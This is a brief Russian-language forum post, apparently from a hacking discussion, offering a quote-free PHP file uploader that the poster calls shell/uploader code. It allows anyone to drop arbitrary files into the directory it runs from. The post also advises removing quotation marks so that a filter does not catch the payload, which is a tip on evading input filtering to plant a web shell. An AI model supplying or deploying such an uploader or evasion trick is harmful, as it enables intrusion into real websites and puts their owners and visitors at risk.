ну дык ты попробововал вот этот код без кавычек?

<form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go></form><?if(isset($_POST[go])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@copy($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}}?>


если зальешь в туже папку, откуда он исполняется - должно быть ок. В смысле торможу щаз децл, просто трудно оценивать не видя реальной ситуцации

Если реагирует на то, что в коде шелла/загрузчика есть кавычки - избавиться от кавычек. Имхо.